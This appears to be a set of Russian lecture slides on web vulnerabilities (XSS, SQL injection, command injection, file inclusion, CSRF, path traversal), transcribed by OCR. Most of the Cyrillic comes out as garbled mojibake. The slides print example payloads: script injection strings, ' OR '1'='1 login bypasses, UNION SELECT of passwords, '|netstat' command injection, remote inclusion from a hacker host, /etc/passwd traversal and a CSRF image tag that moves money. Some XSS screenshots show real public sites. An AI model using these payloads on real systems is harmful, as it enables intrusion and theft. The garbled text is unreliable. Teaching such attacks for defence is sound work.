BHeapeHusa HTML-koga B ya3BuMyto cTpaHuly. BHeapeHue koga MoXeT
OCYLLIECTBIIATLCS Yepes Bce AOCTYrMHble Crnocobbl BBOga MHOpMaLUK.
YcrnelwHas aKkennyataumsa yassMmMoCTU MOXET NO3BONUTL aTaKkyloLemy
MCNOSb30BaTh 3HAYEHUS PasfNYHbIX NePEMEHHbIX, JOCTYMNHbIX B
KOHTEKCTe cauTa, 3anncbiBaTb MHPOpMaLMIO, NepexsaTbiBaTb CECCUM

nonb3oBaTenen n T.4.
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"MexxcantoBoe BbINOSIHEHME cUueHapueB"

YassnmocTtb Cross-Site Scripting (XSS) cBsizaHa ¢ BO3MOXXHOCTLHO
BHeapeHusa HTML-koga B ya3BuMyto cTpaHuly. BHeapeHue koga MoXeT
OCYLLIECTBIIATLCS Yepes Bce AOCTYrMHble Crnocobbl BBOga MHOpMaLUK.
YcrnelwHas aKkennyataumsa yassMmMoCTU MOXET NO3BONUTL aTaKkyloLemy
MCNOSb30BaTh 3HAYEHUS PasfNYHbIX NePEMEHHbIX, JOCTYMNHbIX B
KOHTEKCTe cauTa, 3anncbiBaTb MHPOpMaLMIO, NepexsaTbiBaTb CECCUM

nonb3oBaTenen n T.4.
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HarnaaHbin npumep yassmmocTtu tuna «MexcautoBoe
BbINOMIHEHME CLueHapueB»

Web-cepBep
http://web/?search=WhatlsWebSecurity

A
Y i <
a r
B A
y
( |
o

€ Wndopmauus no reme: What Is Web Security - Windows Internet ... E’ <t -
r

@Q v ]g http://www.securit v | ‘1‘ X I l Moucx °Live Search® . " " i

<td valign="center"><input
Qaiin  [paska Bug MWsbpannoe Cepsuc Cnpaeka t e_"teg)(t" name_" « VaFlj
T:;? ahy {g WHdopmaums no Teme: ... '7| @? *8 - @ S = yp - . " _"q .
— <td valign="center"><inpu
] Hexamd Perncrpa class="inputbutton" value="Wckarb"></td>

CKaTb E
il </tr>

WHcpopmauma no teme: What Is Web Security

lae uckate
Whatls Web Securi Hoeoctun v E

PesynkTathl noucka

< [ 1 »

€ Vinreprer | 3awmiennsiii pexim: Bk, #100% v




HarnsgHbin npumep ysa3BumocTu tnna «MexcantoBoe

BbiMNoJiIHEHUe CueHapueB»

Web-cepBep

http://web/?search="><script>alert('XSS")</script>

i

e
JavaScript

B OcranoBuTh BEINOAHEHNE CLEHAPWEE ANA AGHHOI CTPaHNLbI

input class="inputtext" type="text"
=""><gscript>alert('XSS')</script>"></
"><input type="submit" putbutton”

value="Wckatb"></td>
</tr>




Cookie

Kyku (Cookies) — Hebonbwion dparMeHT
cnyxebHom wnHMopmaunn, nomewiaemMmbln BeD-
cucrtemom Ha KC nonb3oBartend B HebonbLUMX
dannax wvnu onepatuBHOM nNamMdaTn  Angd
naoeHTndnKaLumm nonb3oBartens rnpu I'IOBTOpHOM
obpalleHumn K cncteme

Kykn MoryT cogeparb:

- NMapoJsib B OTKPbITOM BMae
- 0bpa3s napons (3HadeHune
XeL-pyHKLNN)

- MOEeHTUdUKaATOp ceaHca




E SIGMA Corporation: Search - Windows Internet Explorer

@ U L4 |G http://192.168.10.1/search.php?q=%3Cscript%3Ealert%28%22X55%22%29%3C%2Fscript%3E&r=08&s=Search

T ok ié SIGMA Corporation: Search ’ |

B rnone «Searchy:
<script>alert("XSS")</script>.

Windows Internet Explorer @

[}
o

| XSS

OK




XSS

/2 SIGMA Corporation: Search - Windows Internet Explorer
G@ » |&] http://192.168.10.1/search php?q=boobo&r =08s =Search RIEIEIEY |2 QP Search
@ann lMpaeka Bua WMsbpanHoe Cepeuvc Crpaeka

T ViabparHoe |15 @ Pexomeryerol.. v € BecrinaTHas MouTa... € Koreka esh... v
€ SIGMA Corporation: Search I | > v v CTpaHiua Y Beaorlaa—.nl

‘Home Downloads Members SubmitNews ContactUs Forum l

Search SIGMA Corporation Welcome
VSearch For: [pocbo ] Searon R Username:
v Search In: “ 7 Password:
;VSearch type: | & Basic O Advanced |
Results in News ¥ Eenene

[ Signup ]
[ Forgot password? ]

No matches found for [sfaslafs)

Search SIGMA Corporation

=

This site is powered by 2107, which is released under the terms of the GlNU GPL License.




XSS

/2 SIGMA Corporation: Search - Windows Internet Explorer

G@ » |E] http://192.168.10.1/search php ?q=23Ci %3Eboobo3C % 2Fi%3E8r =08s =Search&in =&ex =6 Z| (Bl [ x || QIP Search

®ain Mpaeka Bua WsbpanHoe Cepemc Crpaeka

T Viabparoe | w5 @Pexoverayentl.. v € BecrnatHas mouTa... € Konneri i seb... v

€ SIGMA Corporation: Search | I M v B) v = v CrpaHiua ™ Besonac

’Home Downloads Members SubmitNews ContactUs Forum

Search SIGMA Corporation Welcome
Search For: | |<i>boobo</i> II Search | §X Usariame:
Search In: | Nevs > Password:
Search type: @ Basic ' Advanced

Results in News

No matches found for [Jgas

[ Signup ]

v Remember me

[ Forgot password? ]

Search SIGMA Corporation

| [_sesren |

This site is powered by 2107, which is released under the terms of the GliU GPL License.




XSS

(. SIGMA Corporation: Search - Windows Internet Explorer |
O'© ~ [e) hip://192.168.10.1/search,php ?2q=93Cscriptd3Ealertd 28%22boobo%22%29%3C % 2Fscric 2] | B2 [ [[£ QI Search

®ain Mpaeka Bug WsbpadHoe Cepewc Cripaexa

77 V3bpaHHoe |'{$ @ PexomeHayemnl... v €] BecrinatHan nodta... &) Konnexiya geb... v
€ SIGMA Corporation: Search | l v B) v = v CTpaHiua ™ Bezora

|Home Downloads Members Submit News ContactUs Forum |

Search SIGMA Corporation
‘ Search For: :‘ [ecrrintsalart("hanha" < ferrint> || Qaar |
" § CoobujeHune ¢ Beb-cTpaHNUBIR.S |
’ Search In:
‘ Search type: : () : boobo

Results in News

No matches found for OK




vate Message

T\ HELLO SOKOLOY

To:

i sokolov &

Welcome Klinov

O Settings
0O Profile

O Logout

7 userclass |Managers |

}hi

Subject:

Message:

<script=alert("HELLO SOKOLOV")</script>

[ Ermotes:

|

]

’ Read receipt:

\ I™ Send me an email when this PM is read

Sit | N

Send Private Message

|

Search SIGMA Corporation

Private Message

@ Inbox

0 total, 0 unread

Qutbox
0 total, 0 unread

[ Send new messaqe ]




’ http://www.symantec.com/connect/search-connect?page=88iterms= %22 %3E %3 Cscript%3Ealert(String.f

@mﬁﬂ'm'l"‘?ﬂ-‘f*?&"‘ ’ symantec. | Connect A Community for Symantec Business Customers
11 H F o T 0l

Welcome to Symantec Connect. Log in or register to participate.

X # 2 ® http://science.gsfc.nasa.gov/sed/index.cfm?fuseAction= projects.view8t&iproject_id=%22%3E%3Cscript3l

Aapec ] bt i —

_!epexon

; National Aeronautics and Space Administration GO
DP}IG D II'ID 3 . 2 Goddard Space Flight Center Flight Projects | Sciences and Exploration

IDATOW AD

for Everyone 7 AboutUs

Sciences and Exploration Directorate Code 600

SED Home (600) SED Offices Earth Sciences (610) Astrophysics (660) Heliophysics (670) Solar System (690)

JavaScript

<science.gsfc.nasa.gov>




SQL injection

MexaHn3m aTakm BeD-NpUnoXXeHnmn, KotTopble
MCNOMb3YIOT BBEAEHHLIE MOSIb30BaTENEM
naHHble B SQL 3anpocax 6e3
npeaBapuTenbHon obpaboTkn, Heodbxoanmom
Ons yoaneHuns noteHumanbHO ornacHbIX
CUMBOJIOB U 3ape3epBUPOBaHHbIX CII0B

[To3BONAEeT atakyrLlleMy BbINMOSTHATL
HecaHKUMOHMpoBaHHble SQL-3anpockl kK base

OAHHDbIX:. ceeneHus 06 nmeHax 1 naponax nonb3oearenein web-

NPUNOXEHUS, NO3BOSNUTb NPOYNTATb HEKOTOPYHO HEQOCTYMNHYIO MO
3agymMKe pa3paboTymkoB MHGOpMaLNIO



SQL Injection

SELECT cnucok_nonen
FROM uma_Ttabnuubil
WHERE none_tabnuubl = ‘BBegeHHasa_CTpoka'

BBeAleHHas_CTpPoKa — afpec 3MeKTPOHHOMN
NoYTbl, UMS NOSb30BaTENs, Naponb U T. A.

Peaynberat — HEeCKOsbKOo nonen 6asbl JaHHbIX
(oOoHa cTpokKa)



SQL Injection

BBeaeHHasa _cTpoka =1' OR '99' = '99

SELECT cnucok_nonewu
FROM umsa_Ttabnuubil
WHERE none_tabnuubi ='1° OR '99' = '99'

Pesynerat — Bce nons tabnuubl (nepsas
CTpoOKa)



Perncrpauunna 6e3 3HaHuA
napons nosnb3oBaTens

3 SIGMA Corporation: News - Microsoft Internet Explorer

®arin  Mpaeka Bwa WsbpanHHoe Cepeuc Cnpaeka

(QHasaa ~ ) - x| 2] 2| nMonck - MsBparroe & Meawa & | - L [

Aapec: @ http: /jwww, sigma.comfnews.php L‘ Mepexoa | CobInK

|Home Downloads Members Submit News Contact Us Forum

Welcome

No news items at the moment - please check back soon.

Username:
|Klinow' or '1'="1|
Password:

I |
ILogin I

¥ Remember me

[ Signup ]
[ Forgot password? ]

Search SIGMA Corporation

‘ | | o]

This site is powered by 2107, which is released under the terms of the GHLU GPL License,

l_ l_ l_ '_n. Ha neow ide 15 =kt



SQL-MHBbekuun

¢ Edit Request

Intercept requests : Intercept responses : ||

[ Parsed | Raw |

Method URL
|POST | |http:ir192.168.10.1:80/mews.php
Header Yalue
Accept image/gif, imageljpeg, imageipjpeq, imagefpjpegy, applicationt-shockwave-flash, application/msword, applicationivnd.ms-excel, *™*

Referer hitp:fi192 168.10.1/hews.php

Accept-Lan... ru

User-Agent |Mozillasd.0 {compatihle; MSIE 8.0; Windows NT 5.1; Trident/i4.0; NET CLR 1.1.4322; NET CLR 2.0.50727)
Content-Ty... |applicationi-www-form-urlencoded

Accept-Enc... |gzip, deflate

Host 192.168.10.1

Content-le... |47

Proxy-Conn...|Keep-Alive

Pragma no-cache
Cookie e107_tdOffset=0; e107_tdSetTime=1273558110; e107_tzOffset=-360

URLEncoded | Text | Hex |

Variable Yalue
username / Klinoy'or'd99'='999 \
USerpass
userlogin Login /

[
\
autologin N |1 /




HarnagaHbin npumep
BHeApeHus onepatopoB SQL

Web-cepBep cys[l

http://web/?id=6329&print=Y
..
N

a

.‘l:‘l @ . <

y

SELECT * from news where id = 6329

topic news

B328: News Web Security...

@ CepbesHblii cboit B cetn Facebook - Windows Internet Explorer E@
UU - | &) http://web/7id=63208print=Y v|4,| % il Moucx *Live Search® 2
W ‘@ CepbesHblii oVl B CETH... [7‘ v B v d=& v [ Crpanmua v »

>

< CepbesHblii c601 B ceTn Facebook

[m

07 okTabps, 2009

faCEbOOk B cetn Facebook npousowen cepbeaHblit

annaparHblit c6oil, noBnekwwit 3a coboi

HEZL0CTYNHOCTL YacT tyHKunoHana cetn. Muorue
Nonk30BaTeny CoUManbHoM CeTH Buepa Beuepom coobLyunm, uto He MoryT
BOIITH B aAMWHUCTPATUBHbIE MHTEpPdeiickl cOBCTBEHHBIX Bnoros.

B Facebook coobwunu, 4to 3aHMMaKOTCA paccnefoBaHemM TEXHUYECKUX
< | 1 |

»

v

€ Whreprer | 3awmienHsii pexun: k. #,100%




HarnaaHbin npumep
BHeApeHusi onepartopos SQL

Web-cepBep cys[l

http://lweb/?id=6329+union+select+id,pwd,0+from...

SELECT * from news where id = 6329 union select id,pwd,0 from...

é Cepoestbiit cboii & cetn Facebook - Windows Internet Explorer E@

U@ v [g http://web/?id=6329+union+se ¥ ’ ‘1‘ X \ ’ Mouck "Live Search” P = id topic news

W ig Cepbestblii cboii B ceTh... [7| - v = v | Cipanmua v = 6323 Web Security...
a 12345 password 0
m

07 okTabpsn, 2009

Maobpaxenne /¢ 12345

i

€ Wureprer | 3aumueHHblii peskum: k. #100% v




Buasbl SQL-uHbLekuunn

String SQL Injection
Numeric SQL Injection
Blind SQL Injection
Double Blind SQL Injection
. Trinle Blind SOL lniect

DDDDDDDD



Command Injection
(BHegpeHne KOMaHA)

o [lporpamma 4yTeHunsa ctateun

» exec("cat

/var/httpdocs/vulnerability.net/.articles/".$ GET['article _id"], $res);

o KomaHpa

« http: //vulnerablllty net/artlcle php?article _id=13|netstat

s

=181X]
ik Cnpaeka ‘ "1'
I QHazaa ~ ) - [x] T =
_; Aapec: lg’] http:/f192.168.10.1/WebGoat attack?Screen=55&menu=610 L] MNepexoa ‘Ccunm 22
: General Goal(s): -

Each user is a member of a role that is allowed to access only certain resources. Your goal it
to explore the access control rules that govern this site. Only the [Admin] group should have
access to the 'Account Manager' resource.

TCP 0.0.0.0: 135 0.0.0.0: 0 LISTENING 996
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4

TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING 716

TCP 0.0.0.0:5001 0.0.0.0:0 LISTENING 3244

TCP 127.0.0.1:2113 127.0.0.1:3128 ESTABLISHED 788

TCP 127.0.0.1:3128 0.0.0.0:0 LISTENING 1972

TCP 127.0.0.1:3128 127.0.0.1:2113 ESTABLISHED 1972
TCP 127.0.0.1:8005 0.0.0.0:0 LISTENING 3244

TCP 192.168.10.1:80 0.0.0.0:0 LISTENING 3244

TCP 192.168.10.1:80 192,168.10.1:2114 ESTABLISHED 3244
TCP 192.168,10.1:139 0.0.0.0:0 LISTENING 4

TCP 192.168.10.1:443 0.0.0.0:0 LISTENING 3244

TCP 192.168.10.1:1949 192,165.10.1:80 CLOSE_WAIT 1972
TCP 192.168.10.1:1950 192.165.10.1:80 CLOSE_WAIT 1972
TCP 192.168.10.1:1952 192.168.10.1:80 CLOSE WAIT 1972



PHP file inclusion

[TpnynHon BO3HUKHOBEHUA YA3BUMOCTU
aBnsaeTca ncnonb3osaHne PHP-onepaTopos
include() nnu require() Anga BCTaBKU
nHTepnpetupyemoro PHP-koga B HTML

include($page . '.php");

[lanee ata cTpoKa Koga NpUMeHAETCA nNpu
obpaboTtke URL cneaytoulero Bmaa:

http://www.mycom.com/index.php?page=news



File Inclusion

PHP: B Tom cniyyae, korga nepemeHHasi $page He
NHUUMann3npoBaHa 3apaHee Nnu He
npoBepseTca @akT €e MNOAMEHbI, aTaKyrLlnn
moxeT 3anucatb B URL apgpec BpenoHocHou
nporpamMmsi:

lindex.php?page=http://www.hack.ru/exploit

http://lIwww.mycom.com/index.php?page=http://www.hacker.com/exploit



File Inclusion

[Tony4yeHne panna c naponamu npu
nepexoae rno CChlfike:
http://www.mycom.net/
new.php?new_id=1&path=/etc/passwd



NMoonenka HTTP-3anpocoB
(Cross-Site Request Forgery,
CSRF, XSRF)

o Cross-Site Request Forgery — Bua ataku,
ncnosnb3yrLwmn yHKUno bpaysepa no
aBTOMAaTUYeCKOW OTnpaBKe naeHTudukatopa
ceccum ¢ Kaxgbim GET/POST-3anpocom K
BEO-NMPUNOXKEHUIO



HHOLAC)IRA M1 1 F=-adllpOCUb
Cross-Site Request Forgery
(CSRF)

[TpnynHa peanm3yemMoCcTn — CepBEP HE MOXKET MPOBEPUTD,
ObIN1 NN KOPPEKTHOrO BUaa 3anpoc cpopmmnpoBaH
nonb3oBaTeneM, KOTOpbINn ero nepeaan.

[1py oTnpaBke Takoro 3anpoca Beb-opay3ep
aBTOMaTMYECKU NnepenaeTt cepBepy gpamnn cookie, KOTOPbIU
MOXET coaepkaTb ayTeHTUPULMPYIOLLYIO NoSib3oBaTens
MHopMaLUIO UMM NOEHTUMPUKATOP TEKYLLEWN CECCUN.
Takum obpasom, aTakyrLuin nofyvyaeT BO3MOXXHOCTb
BbIMOMHATL 3anpocbl OT MMEHM 3aKOHHOIO NoJSib30BaTenN4.
[1na peanusauun gaHHOW aTaku 3MOYyMbILLUNEHHUK OOMMKEeH
3HaTb, Kakne Beb-pecypChbl NOCELLATCA U UCTONb3YHTCH
aTakyeMblM MoSfib30BaTeNeM.



CSRF

UHTepHeT-
2. Nonb3oBaTtenb nocewaeTt gopym

‘£< >

)

3. bpay3sep 3arpyxaeT KapTUHKY No agpecy:
http://ibanking/action?...

UHTepHeT-0aHK 6
(ibanking)

‘@

4. Ecnu ceccua nonb3oBaTens CyLlecTBYyeT, TO...

1. My6nukauna coobweHusn:
<img src=http://ibanking/action?account=12345&amount=500&for=54321>



Path Traversal

OcHoBaHa Ha 1Cnonb3oBaHNU YA3BUMbIX (OYHKLINN,
KOTOpble NPUHUMAIOT Ha BXO[, B KadecTBe napamMeTpa
abCOSIOTHBIN NN OTHOCUTESBbHLIN NYTb K dpanny nnu
KaTasiory Ha cepBepe.

Ecnn nonHoMo4uns Bbi3biBaEMOWN (PYHKLNM DorbLLE,
4yeM MOJIHOMOYNSA BbI3blBaKOLLErO ee Nnosib3oBartend,
BO3MOXHO MNony4YyeHne HeCaHKUMOHUPOBAHHOIO
OocTyna K dpanna u katanoram 3a npegenamm
OTBEAEHHOM Mosib3oBaTesito 0brnacTn AUCKOBOro
NPOCTPaHCTBA.



Path Traversal

NcxooHbin GET-3anpoc:

http://www.mysite.com/main?page=news.htmi

MoandunumnpoBaHHbIM 3anpoc Ang gocTtyna
K KOHdourypaumoHHomMy cbanny Beb-cepBepa
Apache (ogHa cTpoka):

http://www.mysite.com/main?page=
[..1..1..1..l..l..l..letclapache/httpd.conf



L

Parsed | Raw

Method URL
|GET | |http:wnmw.sigma.com:80!request.php‘?e1D?_VD.?.14_fu|l.zip

Header YValue
Accept imagelgif, imagef-xbitmap, imageljped, imagefpjpeg, *F*
Referer hitp: Iy sigma.comidownload. php?view. 1
Accept-Lan... ru

B I RS R S I R SR S R I I R S I R S R S IR S R I RS I R S I S I R SIS I IS R S I R S I R S IO R S I SIS
By AR IR SO R R SRR SR R SRR R R RN IR IR 5% % %" (Ta e e et % e e e % e %t e e e e % % Sa%a’a% %" %% %

[ Parsed | Raw |
Method URL
|GET |http:fwmv.sigma.com:BUIrequest.php?..f..!..!license.bdl

Header YValue
Accept imagefgif, imagel&-xbhitmap, imageljpeq, imagefpjpeq, **
Referer hitp: A sigma.comidownload. php?view. 1

Accept-Lan... |ru

=T
Hex |

| Position |ol1l2/3l4l5/6]l7l8lelalBlcliplelFl String




